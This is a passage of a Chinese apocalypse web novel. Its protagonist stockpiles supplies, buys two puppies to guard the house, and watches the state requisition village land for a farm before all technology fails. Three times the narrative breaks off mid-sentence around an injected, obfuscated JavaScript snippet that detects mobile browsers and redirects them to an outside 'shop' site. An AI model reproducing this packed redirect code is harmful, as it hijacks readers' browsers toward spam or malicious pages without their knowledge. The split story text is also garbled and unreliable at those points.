顺便再说一句,某个小心眼的人回家时还特意敲了敲妹妹贺隽秋的卧室门,直到听见一句崩溃又不耐烦的“没有东西要你带”,才放下敲门的手离开。 两人到县城后第一时间就去银行把存折和银行卡里的钱取出来。 取完钱贺隽夏和贺成材开始分头行动。 贺隽夏先买了一辆大号的纯脚踏三轮车和一辆带后座的自行车,接着去农贸市场买了几大包蔬菜种子、肥料、杀虫剂等。 贺隽秋需要的卫生巾和安睡裤,他也没落下,买了好几箱,不夸张地说,够贺隽秋用上四五年。 正当贺隽夏准备骑车离开农贸市场时,眼角余光忽然瞥见一个坐在路边卖小狗的老人,顿时心头一动。 一只狗的寿命通常在10~18年间,如果能养一只看门狗,晚上睡觉也能多几分安心,不怕小偷光顾。 再说他总是要走的。 他走以后,贺家就只剩下贺成材一个男人,还是一个五十岁的男人。而男性和女性的力量悬殊,贺隽秋又是个青春活泼的漂亮姑娘,一旦有人动了歹心,趁贺成材和曾秀平不在家时动手,后果不堪设想。 宗族是保护也是限制。 如果起了歹心的人是贺家村贺姓的人,最后的结果无外乎大事化小,小事化了,贺隽夏不愿意看见这种事情发生。 他既然做了贺家的儿子、贺家的哥哥,就要对得起这个身份。 贺隽夏拿出手机给曾秀平打了个电话,说明自己的担忧和打算,曾秀平只想了一会儿就答应了下来。 她嘱咐道:“让你爸和你一起看,要买就买壮实有精神的,病恹恹的狗崽子不要买,养不活。” 贺隽夏:“好。” 8. 第 8 章 电话挂断,贺隽夏却没有听曾秀平的嘱咐,而是根据自己的经验挑了一只小黑狗。 他老家的邻居就是养狗的一把好手,一只狗崽能卖到几百上千元。 他喜欢狗,放假回老家时没事就去邻居家串门,跟着那位老人学了不少关于狗的知识,挑几只狗不在话下。 老人收了40元,把小狗用白色塑料袋打包好递给贺隽夏,贺隽夏忍不住“嘬嘬嘬”逗弄了几句,将装有小黑狗的塑料袋挂在车把手上。 没办法,小狗不是死物,后备箱东西又多,还是放在眼皮子底下更安全。 贺隽夏打开手机搜了搜,又开车去县里的宠物市场,挑了一只符合要求的小黑狗,然后带两只小狗去宠物医院做全身体检。 他挑狗的水平深得邻居真传,宠物医生说两只小狗都很健康,就是需要做下驱虫。 贺隽夏问:“能打狂犬疫苗吗?” 宠物医生看他年纪轻轻,又知道第一时间带买来的小狗来医院做体检,便推荐道:“可以是可以,但我们一般推荐先打完传染病疫苗,再注射狂犬疫苗。” 贺隽夏摇头:“先打狂犬疫苗。” 倒不是他舍不得花钱,只是时间不等人,全套的传染病疫苗打下来,至少需要一个月,还是先打狂犬疫苗更有性价比。 宠物医生对这种情况司空见惯,见他拒绝也没有纠缠,拿来两个宠物记录本问:“两只狗叫什么名字。” 贺隽夏看了眼狗崽:“大黑,小黑。” 宠物医生填写记录本的手一顿,将两个极为敷衍的名字写了上去,转身从药库里取出两根冷藏保存的狂犬疫苗,给两只小狗各扎了一针。 两只小狗还算乖巧,被捏住后颈皮打针时不吵不闹,安安静静地直到宠物医生松开手。 贺隽夏在宠物医院的商品架里左看右看,买了一个可以背的狗包,一些小狗喝的奶粉、吃的狗粮和一些可以当作训练奖励的小零食等,最后还让宠物医生拿了20支保质期长的驱虫药。 宠物医生都被他的操作整懵了。 一开始见他带着狗来体检,以为是个打算科学养狗的人。后来见他只想打狂犬,不想打传染病疫苗,便将人放在了不愿意给狗花钱的那一类,放下了推销产品的心。 但是这些东西加上打疫苗的钱差不多也要一千出头,说付钱就付钱,看着不像舍不得给狗花钱的人啊。 宠物医生犹豫片刻,开口提醒道:“给狗驱虫,一个月做一次就可以了,不用一下子买那么多驱虫药。” 贺隽夏笑了笑不打算解释。 他把所有东西塞进三轮车,将狗包背在背上,脚踩上踏板准备离开。 宠物医生突然反应过来,连忙拿了一盒罐头上前:“客人,这是赠品。” 小县城里养宠物的人不多,有科学养宠意识的人更少。她在小县城里开宠物医院好几年了,赚的钱也就刚好糊口,难得做一笔大生意,必须好好抓住这位大客户。 贺隽夏:“谢谢。” 他朝宠物医生摆摆手,蹬着三轮车渐渐远去。 贺隽夏和贺成材在一条人车稀少的偏僻街道汇合,贺成材看着他背上的两只狗愣了愣:“你从哪弄的狗,买的?” 贺隽夏:“嗯,养大了用来看家。” 贺成材好奇地走上前,隔着透明的狗包与两只小狗对视,嘴里发出嘬嘬嘬的声音。 贺隽夏:…… 贺隽夏咳了咳:“爸,我们回去吧。” 贺成材伸头看向他身后的车厢,看着堆在表面的一大堆狗狗用品默了默,没说啥煞风景的话,笑道:“我来骑吧,你开我那车。” 从县里骑车回贺家村至少需要半小时,车里放了一大堆东西又只能人力驱动,做父母的哪里舍得自家孩子那么辛苦。 贺隽夏摇摇头:“不用,我不累,等会儿累了我们再换。”他不会死要面子活受罪,却也不会故意把脏活累活推给别人。 贺成材看着自家孩子高高大大的身体,欣慰地笑了笑:“行,累了就告诉我。 ” 两人一前一后平稳而缓慢地驶回家,路上还遇见了开车去县里买东西的老村长一家。 不过大家都有事要办,停下来唠嗑了几句后就各自驶向不同的方向。 老村长的大儿子惊讶:“成材家竟然买这么多东西,花了不少钱吧?” 老村长表情凝重:“他们家负担重,一件衣服穿好几年,破了都舍不得换,这回能买这么多东西,恐怕说的是真的。” 老村长对贺隽夏的话并不是100%信任,之所以愿意开会号召全村人,也是为了以防万一。 如今见贺成材家大量购买粮食米面,不由得紧张对贺隽夏口中的灾难增加了几分重视。 老村长拍板:“咱们也多买点粮食回去,不要舍不得那点小钱。” …… 贺隽夏回家时受到了贺隽秋的热烈欢迎。 小姑娘身上还穿着睡衣,看样子刚醒不久,兴奋地抱着狗包傻乐。 曾秀平走出来看见一堆狗狗用品时愣了好一会,不过她和贺成材一样,到底没说啥,只是问道:“你咋买两只黑狗?” 贺隽夏:“黑色的看不见。” 曾秀平:??? 贺隽夏神秘一笑:“以后就知道了。” 刷过宠物视频的朋友们都知道,黑狗黑猫是最容易隐藏的动物,没睁眼睛的时候开灯都找不着。 要是有人敢趁夜翻墙进来偷东西。 哼哼 贺隽夏开始卸车上的东西,除开表面的狗狗用品,底下是几大箱子的卫生巾和安睡裤,看得曾秀平又是一愣。 她疑惑道:“你买这么多这个干什么?” 不待贺隽夏回答,贺隽秋就主动解释道:“我让我哥买的。” 曾秀平无奈:“放你自个屋去。” 贺隽秋笑嘻嘻地将小狗从狗包里放出来,搬着纸箱子进屋,贺成材和曾秀平则将着手处理电动三轮车里的粮油米面。 乡下老鼠多,有些地方湿气重,一旦没保存好,米里面就会生虫,即使是真空包装也不例外。 等他们一家人把买回来的东西收拾好,已经过去了近一个时辰。 两只小黑狗还在熟悉环境,这里嗅嗅那里闻闻,晃着尾巴玩得不亦乐乎,完全不像宠物医生说的打疫苗后会精神不好。 贺隽夏蹲下来:“嘬嘬嘬。” 两只小狗听见声音立刻屁颠屁颠地朝他跑来。 贺隽夏一手揉一只狗头:“你是大黑,你是小黑,以后要好好看家,知道不。” 贺隽秋吐槽:“哥,你也太敷衍了吧。” 贺成材忍不住道:“要不一只叫来福,一只叫旺财?” 曾秀平点头非常赞同。 贺隽夏:…… 贺隽秋:…… 贺隽秋抗议:“爸,妈,贺兰家的狗叫旺财,贺东家的狗叫来福,咱们家的狗不能和别人取一样的名字。” 贺隽夏:“我就说叫大黑小黑最方便。” 贺隽秋:“那还不如来福旺财呢。” 最后在贺隽秋的强烈抗议下,脚长有白毛的小黑狗被命名为芝麻,纯黑的小狗被命名为乌团。 的确比大黑小黑来福旺财少见(重点)一些,贺隽夏坚决不承认它们比大黑小黑好听。 贺隽秋(白眼):嗯嗯嗯 一家人快速吃了顿午饭,贺隽夏和贺成材再次踏上去县城的路。 不过这回他们只骑上电动三轮车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730926|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买的也不是大米面粉面条,而是肉酱、肉干、腊肉、腊肠、干桂圆、干红枣、奶粉、红糖等各种保质期长又便于储存携带的物品和冬衣、木炭、洗发露、运动鞋、蜂窝煤等生活用品。 除此外贺隽夏还买了一些烟酒,高中低三档都有,又特意要了一些精美的包装。别看这些东西吃不饱喝不饱,用来送礼走人却很合适。 ——昨天晚上在社交平台里收集到的消息提醒了他,普通人都能有所察觉,国家就不可能忽视这场灾难。 工厂24小时日夜不停歇地工作,恐怕就是国家在为应对灾难做准备。既然如此,国家更不可能放弃可以种出粮食的土地。 而贺家村就拥有一大片肥沃的土地。 贺隽夏看着被小心放在泡沫箱里防撞的烟酒,眼睛闪了闪,“背靠大树好乘凉”在哪都是硬道理。 贺隽夏和贺成材回到贺家村,他们来来回回进出村子,不出所料地引起了村民们的注意。 有人笑他们傻,听几句网上的谣言就急匆匆地买一大堆东西回家。 张夏兰不屑地吐了口唾沫:“一群傻子。” 她身旁的人侧头看了她一眼,干笑道:“不怕一万就怕万一,要不你们家还是买点儿吧。” 张夏兰叉腰:“咱们农村人靠山吃山,靠水吃,没有手机汽车还能咋地,又饿不死,我说他们就是傻,白白给人送钱。” 她的声音不小,连已经走远的贺隽夏和贺成材都能听见,又或者说她就是故意说这些话给他们听。 贺隽夏笑了笑没有和她争辩。 没有必要。 见没有人反驳自己,张夏兰更加得意,又嘲讽了几句大学生就是读书读傻了才得意洋洋地离开。 殊不知她走后另一些人立刻紧赶慢赶地去了县城。 而这些人的数量在老村长一家也带着大批粮食回村时达到了巅峰。 人都有从众心理,没一会儿,村里的大半人家都踏上了去县城的路,只有几个人依然固执倔强。 当然,无人在意。 贺隽夏和贺成材带着一大堆东西回家,曾秀平和贺隽秋目瞪口呆。 曾秀平:“你们买那么多衣服干什么?” 贺隽夏撞了撞贺成材的胳膊,笑道:“反正过年也要买,干脆就提前买了,还能打折呢。” 贺成材收到儿子的示意,一张满是沧桑的脸上露出几分不好意思来。他提着两个袋子上对曾秀平道:“你看看喜不喜欢,合不合身。” 曾秀平懵了。 她没想到东西还有自己的份。 贺隽夏道:“妈,你快去试试吧,都是爸给你选的。” 曾秀平难得在两个孩子面前显出几分羞涩:“你爸他懂个什么啊。” 说着她便拿着衣服进屋去了。 贺成材转头提着几个鞋盒也跟着进去了。 贺隽秋:“……噗哈哈哈。” 贺隽夏取出两盒包装被压得有些瘪的蛋黄酥放在她眼前,女孩的笑声戛然而止。 贺隽秋抬起头接过蛋黄酥,一双黑亮亮的眼睛闪过几分惊讶无措和懊悔。 她闷闷道:“哥,你真好。” 除了她亲哥,还有谁会把她随口提的一句话放在心上,她竟然还怀疑他。 真是小说看多了。 贺隽夏垂眸看着贺隽秋柔软的发顶,伸手揉了揉,笑道:“我以前不好?” 贺隽秋吸了吸鼻子:“你是世界上最好的哥哥。” 她丢下一句话噔噔噔地跑走,贺隽夏的嘴角慢慢上扬,他知道这一关彻底过了。 时间来到第二天的上午九点。 一队纪律严明、气势逼人的士兵来到贺家村,他们来带的消息瞬间打破了贺家村的平静。 9. 第 9 章 “土地征收”“土地征收” 曾秀平在院子里来回走动,兴奋地不停念叨“土地征收”四个字,一张典型农村中年妇女的面容似乎都年轻了好几岁。 而她只是贺家村众人的一个缩影。 兴奋的情绪在村里迅速蔓延,所有人都忘了他们昨天听到的可怕消息,满心只惦记即将到来的征收补偿。 毕竟比起只存在于他人口中,怎么听怎么不靠谱的灾难消息,还是有军队和政府工作人员到来的土地征收项目更加靠谱。 不知是谁说了句有作物的田能得到更多的补偿款,贺家村人一窝蜂地跑去外面买菜苗。 短短一个上午,杂草丛生的荒地就成了欣欣向荣的上等菜地,连以往空旷的水泥地面也多了无数粗制滥造不能住人的小房子。 贺隽夏:…… 贺隽夏拦住想随大流的曾秀平和贺成材,让他们先冷静下来,别被土地征收的消息冲昏了头脑。 这件事情绝对没有表面那么简单。 他问:“妈,你有听村委会说征收土地要干什么吗?” “贺家村前不着村后不着店,又没什么发展空间,就算是修高铁修公路,也不至于把全村的土地都收走,总要有个范围。” 曾秀平愣了愣:“这个村里好像没说。” 她也没关注,听到消息就喜滋滋地回屋了。只要能得补偿,管他们用来干什么。 贺隽夏神情凝重:“爸,我们出去问问,看政府征收土地要干什么。” 贺隽秋举起手机:“哥,好像不用问了,贺康全他爸让所有人下午两点去村委会开会,事关土地征收,不来的人后果自负。” 贺隽夏挑眉。 既然如此,他也不再多说什么,下午两点自会见分晓。与其窝在家里等时间,不如趁着全村狂热的机会去县城再买一批物资回来。 贺隽夏说干就干。 他打了声招呼后便骑上电动小三轮,“突突突”地驶向县城,留下曾秀平和贺成材欲言又止。 花钱容易赚钱难,眼见家里的东西越堆越多,儿子口中的灾难却没个影,他们实在是怕把钱打了水漂。 贺隽秋见爸妈表情不对,连忙地挽住他们的手撒娇道:“哎呀,你们别着急嘛,你们想想,我哥什么时候做过傻事,他脑子聪明着。” “就算我哥想错了,这些东西咱家也不是不能用,就当是提前买嘛。” “你呀你,你就是你哥的应声虫。”曾秀平叹了口气:“算了算了,我是管不了你们了,反正那些钱都是你哥挣的,随他去吧。” 儿女都是债啊。 曾秀平和贺成材无奈地转身回客厅,贺隽夏撇了撇嘴,蹲下来逗弄两只撒欢的小狗。 哼,她哥才不会错。 …… 土地征收的消息比长翅膀的鸟儿飞得还快,贺隽夏来到县城的综合性批发市场时,摆摊开店的人都在谈论这件事,语气无不羡慕。 贺隽夏有心听了几嘴,发现不仅是贺家村的土地被征收,县城周边其他村镇的土地也没被落下,这让他更加坚定了自己的想法。 可惜贺家村人已经陷入狂喜的情绪而无法自拔,不知道还有多少人记得囤粮囤货。 贺隽夏摇了摇头。 好在政府有心掌控土地,想来管理者不会让贺家村陷入动荡。就算他们家囤的东西多,也没有人敢明抢。 贺隽夏在批发市场买了大量如木炭、手套、橡胶热水袋等过冬物资和几大箱肉罐头、水果罐头。 回去路上他收到曾秀平打来的电话,让他顺路取个快递,是贺成凤寄来的东西。 贺隽夏想起自己在B市寄的快递,拿出手机看了看,快递预计今天送达,快递员正在配送中。 虽然他寄的是大件快递,但这家快递并不会送货上门,只会将快递放在镇上的快递点。 为了避免夜长梦多,贺隽夏给快递员打去电话,询问了一下情况后,表示想自己上门取件,不用送去快递站。 运气不错,快递员说他的包裹还在站点,可以自己去拿。 于是贺隽夏顺路取了两个大包裹回家,三轮车的后车厢被填得满满当当,一丝缝隙都没留下。 正所谓手里有粮心不慌。 且不说曾秀平夫妻看见这堆东西时的心情,贺隽夏的心里总算多了几分安全感。 贺隽秋听见三轮车突突突的声音出现在自家院子里,立刻放下手机跑出客厅。 “哥,你又买了什么?” 贺隽夏指着小几号的包裹道:“这是姑姑寄来的快递,你拆一下。” 姑姑寄的快递?! 贺隽秋眼睛一亮,掏出挂在手机上的钥匙戳破纸箱上的塑料胶布打开箱子,惊讶地啊了一声。 贺隽夏抬头看去,只见箱子里是大大小小的包装盒,有点像俄罗斯套娃,不过是一个大纸箱套好几个小纸箱。 没有人会不喜欢拆快递。 贺隽秋嫌弃钥匙拆得太慢,转头从厨房拿出一把菜刀,用锋利的刀尖划开粘贴纸盒的塑料胶带。 耳边被刀尖划破胶带的声音填满,贺隽夏的眼皮跳了跳,忍不住道:“小心划到手。” 贺隽秋:“不会啦,放心吧。” 这个大快递套盒最后拆出来一瓶好酒,一个银镯子,五大包风干牛肉,一个智能泡脚桶,一双新鞋。 一家四口,人人有份。 贺成凤简直是把哥哥嫂嫂当成亲生父母对待,把侄子侄女当成兄弟姐妹爱护。 实物的震撼远大于时空管理局传送的记忆,贺隽夏低头看着这些东西,忽然忍不住为那位生活在市区的姑姑担忧。 尤其是她还怀着孩子。 贺隽夏叹了口气,只希望贺成凤听他们的劝说,多买些食物囤在家里,否则到时候贺家人就是想帮忙也鞭长莫及。 …… 下午两点 村委会前的小广场里站满了贺家村的人。 一个身穿灰蓝色Polo衫黑色休闲裤的中年男人在现任村长(老村长的大儿子)的带领下,站在众人面前。 他就是此次贺家村土地征收的负责人。 另有一队士兵站在他的身后,面容坚毅,身姿挺拔,为首的士兵荷枪实弹,压迫力十足。 负责人拿着喇叭介绍此次征收的补偿方案,一是给钱给房,拿钱的人必须立刻搬离贺家村,二是给工作,可以留在贺家村,但没有钱拿。 一个村民问道:“政府要给咱们什么工作?” 负责人笑了笑:“这个问题问得好,咱们县打算将几个村子联合起来,建立一个综合性的大型农场,工作就是农场的岗位,六十周岁以下,18周岁以上的人都有工作,享受事业编待遇。” 一个是一大笔钱,一个是事业编工作,底下的村民们议论纷纷。 贺隽夏的心里却早已有了决断。 贺家村及其周边的几个村镇是典型的南方农村,多山地丘陵,地势一点也不平坦。 在这种地方花一大笔征收土地建农场,从经济角度来说绝对是钱多了没处花,但是从另一个角度来看,就是国家要把生产资源牢牢掌握在手里。 情况已经非常紧急了。 这一点从负责人只给村民两个小时考虑就足以见得。 对于那些试探性准备狮子大开口的人,负责人更是明确表明会对阻拦的人进行强制措施。 简单来说,就是全部进局子。 张夏兰试探无果,碰了个硬钉子后怒骂道:“你们是强盗吗,信不信我去举报你们。” 她立刻拿出手机开始录像。 负责人语气放软道:“大婶,我们也是按照省里发下来的文件办事,每亩地的补偿款都有规定,所有村子都一样。” 张夏兰以为他怕了,得意地哼了一声,谁知脸上刚挂起笑容,就又听见负责人道:“如果您不满意,欢迎拨打378673省长热线,也可以去县里市里省里上访。如果您需要其他投诉渠道,我也可以告诉您。” 负责人强硬的态度震住了某些人心里的小九九。 人都明说了,不怕你拍视频,不怕你上访投诉,你爱咋咋地,土地他们必须要。 张夏兰的大儿子贺有钱指着负责人的鼻子骂道:“你算什么东西,这么跟我妈说话,老子就是不同意,没有六百万你们想都别想。” 负责人:“所以你们是自愿放弃征收补偿?” 贺有钱的两个弟弟也嚷嚷道:“谁说我们要放弃了,你不会好好说话吗!” 三人气势汹汹地走上前似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730927|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎要对负责人动手,然而还没靠近负责人,他们就被几个士兵压倒在地,动弹不得。 村民们又被吓了一跳。 张夏兰的三个混混儿子平时在村里逞威风就算了,竟然还敢在军队面前闹事,真是不怕死。 那枪可是真枪啊。 贺隽夏趁机问道:“领导,具体是什么岗位呢,我爸和我妈种了几十年的地,其他的不会,但种地绝对有经验,看天气都比其他人准。” 村里人古怪地看着他。 真是坑爹的货。种地多苦啊,面朝黄土背朝天,你这么说,万一领导把你爸你妈又安排去种田咋办。 贺隽夏给了曾秀平和贺成材一个安抚的眼神。 等到人类科技全面失效,像曾秀平和贺成材这种会种田、有经验的人就是香饽饽,有脑子的人都不可能让他们再面朝黄土背朝天。 可事无绝对,政府机关里的人消息更加灵通,万一有人空降下来(某某领导读农学的子侄)要占技术员的位置,抢真正懂技术的农民的功劳就不妙了。 不是说农学生没本事。 但现在的学科小而精,读到研究生博士生才对一个行业有较为深入地了解。 贺隽夏自己也是读过大学的人。他可以肯定地说,在没有任何科技帮助的情况下,一个只读了四年大学的农学生在种田方面拍马都赶不上一位老农民。 “纸上谈兵”就是最好的例子。 所以他要帮曾秀平和贺成材在领导面前混个眼熟,免得他们以后被什么高学历人才占位置抢功劳。 负责人看了曾秀平和贺成材一眼,温和地笑道:“会种田好啊,农场就缺这样的技术性人才。” 他挥挥手示意士兵们把贺有钱三兄弟松开:“时间紧急,希望大家好好考虑,尽快做出决定,两个小时后我们再来。” 负责人走以后村民们彻底吵成一团。 村长身边围的人太多,贺隽夏来到老村长面前,紧张道:“三爷爷,这事不对劲啊,以前征收拆迁少说也要商量十天半个月,那位领导也太强势了吧,还有军队出面,举报都不怕。” “您说会不会是我猜的那样?” 老村长的表情也非常严肃,他也已经意识到事情的不对劲,把自家大儿子从人群里扒拉出来说出心里的担忧。 现任村长贺强国也是个聪明人。 他重重拍手道:“安静,安静,大家先听我说几句话。” 贺强国认真地帮贺家村人分析利弊,又用贺隽夏昨天列出的证据劝说大家选择要工作留下来。 然而财帛动人心。 哪怕贺强国分析地头头是道,也有一大批人要钱要房不要工作。 有一家人倒是想要工作,结果家里的子女不同意,儿子噗通一下跪在地上说自己欠了五十万的网贷,再不还钱就完了,无奈只好选择钱。 最出乎意料的是张夏兰。她反而不顾三个儿子的劝说,坚定地选择了要工作。 两个小时后,负责人如期到来,收下村民们的申请表格道:“选择第一种补偿方案的人必须在明天之内搬出去,补偿费也会在24小时内到账。” 会议结束,村民们三三两两地离开,负责人却叫住曾秀平和贺成材。 “两位同志,我想麻烦你们帮个忙。” 曾秀平和贺成材受宠若惊,没走的村民们见状不禁留下来看热闹。 负责人问道:“你们以前建过梯田吗?” 贺成材和曾秀平对视一眼,贺成材点点头:“我们会。” 他们年轻那会响应国家号召,跟着村里的老一辈修建了不少梯田,可用说村里的梯田都有他们参与。 负责人的笑容更加真切,他将贺成材和曾秀平带去一处山头,村道上堆满了各种农用机器和几台挖掘机。 他道:“希望两位同志能指导一下梯田的修建工程。” 村里其他人目瞪口呆。 刚征收土地就要建梯田,我勒个乖乖,疯了吗。 疯不疯不知道,反正贺隽夏是放心了。 他拿出手机给贺成凤打电话将村里发生的事告诉她,劝说她尽快去买食物,买得越多越好,小孩子喝的奶粉也多囤几箱放在家里。 得知贺成凤已经行动,他才放心地挂断电话。 10. 第 10 章 国家机器的速度令人震惊。 短短一个晚上,各种机器的轰鸣声此起彼伏,一栋栋三层高的小楼拔地而起,一阶阶整齐的梯田在绵延的群山间形成一道亮丽的风景线。 天光破晓,云开日出。 早起的贺家村村民目瞪口呆地看着大变样的村庄,忍不住揉了揉眼睛,有种自己还在梦里的错觉。 我滴个乖乖。 可真是小刀拉屁股——开眼了。 三层高的房子一个晚上就能建好,让那些建房子建了好几个月的人瞧见不得呕死。光人工费就不知多花了多少钱。 三三两两的村民们聚集在路边,一边吃早饭,一边看着村头空地上突然多出的几栋新房子啧啧称奇。 而选择补偿方案一的人开始慌了。 他们或许不是聪明人,但也不是只会阿巴阿巴流口水的傻子。昨天刚签完合同,政府就连夜动工,很难不让他们想起村长的分析,想起有关“灾难”的谣言。 一颗颗被金钱冲昏的脑袋逐渐冷静下来,有人悄悄找到现任村长贺强国,询问他能否更改补偿方案。 他们不要钱和房子,他们想留下来工作。 对于这种情况,贺强国早已收到上级的通知。他对所有找上门来的人都是同一句话:要换方案可以,收到征收的赔偿款后,马上去村委会找征收办的人,根据征收办工作人员的指示将补偿款退回去。 只在今天之内有效。 然而不是所有人都能抵抗金钱的魅力。 下午两点,贺家村的征收补偿款准时到账。看着银行发来的通知短信,看着短信里高达七位数的入户金额,逐渐冷静的大脑再次被暴富的喜悦冲昏。 要他们把钱退回去,比割他们的肉还痛苦。 于是乎,几乎所有上午来找贺强国打探转方息的人都没了动静,只有一户祖孙真的去了村委会。 偏偏这对祖孙都是苦命人。 老太太的儿子儿媳在外打工出了车祸没救回来,肇事者还是个混不吝的穷混混,一分钱没赔,坐牢去了。 可怜老太太拉扯一个小孙子,平时就卖点小菜为生,靠国家的补助和村里人的接济过活。 要不是有灾难传闻,政府的行为又明显不对劲,贺强国还真想劝祖孙俩选择第一个方案,有了钱有了城里的房子,好歹以后不用愁生活问题。 “陈巧,我再问一次,你确定要转第二种补偿方案吗?” 征收办的工作人员一字一句地说,吐词清晰明确,保证老太太能听得清清楚楚。 老太太点头:“我确定。” 工作人员再次提醒:“补偿方案只有一次更改机会,这次改好了就没有反悔的机会了。 ” 老太太满是皱纹的脸上露出坚定的神色:“领导您放心,我绝对不后悔。” “我们家老的老小的小,也没人能工作,我就希望我死了,咱们场里的人能照顾一下我小孙子。” 老太太抹了把眼泪,哽咽道:“让他平平安安活到成年就行。” 想到老村长前天说的灾难和政府的这番大动作,她心里就慌得紧。而且征收的补偿款还没到,就有远了不知多少代的亲戚明里暗里地打听,村里的某些人也盯着他们家,说着帮她养孙子。 呸! 等她死了,不,就是她活着,怕也有人要动歪心思,再多的钱也落不到他孙子手里。 与其这样还不如求农场里照看。左右不少村里人都在农场工作,总不会恶意欺负一个穷孤儿,还能多关照一下。 贺强国也忍不住道:“同志,他们家情况确实特殊,家里的大人遭了车祸,就剩下一个老人,一个孩子,你看咱们能不能通融一下。” 工作人员是个年轻姑娘。 她看了看老人,又看了看老人手边瘦瘦小小明显有些营养不良的小男孩,叹了口气,目露怜悯道:“我去问一问我……领导,看看领导怎么指示。” 她当着几人的面拨了个电话过去,没过一会,征收办的总负责人匆匆赶来,来人正是昨天下午态度强硬的领导。 贺强国的心紧了紧。 出乎意料的是,这位领导的语气非常和蔼,问了他们几个问题,又让贺强国找来他们家的资料仔细查后道:“老人家,你放心。” “既然您选择相信我们,我也可以给你保证,只要有我们一口吃的,就有您和您孙子一口吃的,农场里我说了算。” “到时候分配工作,我再让他们给您一个轻松的活儿,平时就整理一下东西,您看这样行吗?” 老太太老泪纵横。 她噗通一下跪下来道:“领导,谢谢您,谢谢您给我和孩子一条生路,小安,快跪下,谢谢领导。” 领导被吓了一跳,连忙侧开身体,安抚道:“老人家,您别这样,快起来,都是我们应该做的。” 贺强国连忙上前把一老一小扶起来,他看了看领导的表情,主动道:“行了伯娘,领导都发话了,事情肯定给你弄好,你先带着孩子回去休息吧。” 他把一老一小送出去,又从裤兜里掏出两百块钱递给老人:“等会我家要开车去县里买东西,你要是想买什么东西就找我婆娘(老婆),让她帮你带回来,你就留在村里看着小安,你们俩哪都别去,最近情况是有点不对。” 陈巧拿着钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730928|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又抹了抹眼泪:“强国,你们家对我和小安的恩情,我永远都记得。” “什么恩情不恩情,林子是我堂弟,小安是我侄子,我这个当伯伯的不照顾自家侄子还能照顾谁。” 贺强国耐心送走老人小孩,不知道会议室里的领导站在窗户前看了好一会。 …… 陈老太太更改赔偿方案的事,连同领导对他们的人文关怀在有心人的宣扬下很快就传遍了贺家村。 有人觉得陈老太聪明,有人觉得陈老太傻,还有人活像是自己丢了几百万,气得不行。 最后一类人的典范就是张夏兰。 她本来都打算好了,自家要工作,三个儿子有了编制好娶媳妇,然后想办法把陈老太家补偿款弄过来。 他们也是亲戚呢。陈老太那样子一看就活不了几年,到时候她把小屁孩接到家里,几百万的补偿款不就归他们了。 “我说贺安全他奶也傻,有钱不要,一个老一个小,又分不了工作,留在村里干什么?” “我要是她我就马上去找领导求情,把钱要回来,一个老太太干一百年也挣不了那么多钱。” 路过的其他村民忍不住翻了个白眼。 别以为他们家不知道,张夏兰就惦记贺安全家的征收补偿款。今天早上还热情地叫安全去她家吃午饭,给人送了提牛奶,一见陈老太改了主意,又把牛奶要了回去。 这种事情也做得出来。 真不要脸。 没有人搭理张夏兰的独角戏,她自顾自地唱了几分钟,便气走了。 贺隽夏得知这个消息时倒是挺高兴。 既是为陈老太和她孙子高兴,也是为留下来的贺家村人高兴。 那位负责人敢保证能保证,证明他对建立在贺家村土地上的农场拥有绝对的主导权。 无论他是出于什么原因做出这样的承诺,都说明他是一个敢于承担责任,有能力承担责任的人,有心要建设好农场的人。 否则换一个人来,不一定敢说这样直接的话,很大可能是打哈哈表示要上报,或者两手一摊表示自己也没办法,毕竟规矩摆在那里。 有这样的领导是贺家村人的幸运。 …… 在农场如火如荼地建设中,小长假一晃而过。 贺隽秋要去上学了。 现在到底还没个灾难的影子,她是高中生,学习任务重,不可能留在家里不去上学。 曾秀平和贺成材都不会答应。 然而事情就是这么巧合,小长假结束的第一天下午,贺家村里的所有科技产品无一例外全部失灵。 贺家村顿时慌成一团。 11. 第 11 章 贺家村征收办的负责人似乎对此事早有预料,他和善地解释道:“大家不用惊慌,之所以会出现这种情况不是有冤魂作祟,是因为有一种特殊的磁场影响了机器内部结构,导致手机汽车等失灵。” 磁场? 啥玩意儿? 村民们茫然地瞪着眼睛 ,无法理解的大脑还是更倾向于传统的鬼怪之说。 不过见负责人态度冷静,又想到最近几天政府大搞农场基建的动作,村民们紧张焦躁的心慢慢放松下来。 国家肯定早有准备。 不管是磁场还是冤魂,有这么多当兵的在,还能害他们不成。 贺隽夏试探道:“领导,我妹妹在县城高中寄宿,我们能把她接回来吗,我有点担心?” 负责人对贺隽夏挺有好感。 他父母给开荒队帮了不少忙,他和他妹妹也经常去田里给开荒队送处理好的淡盐水补充体力。 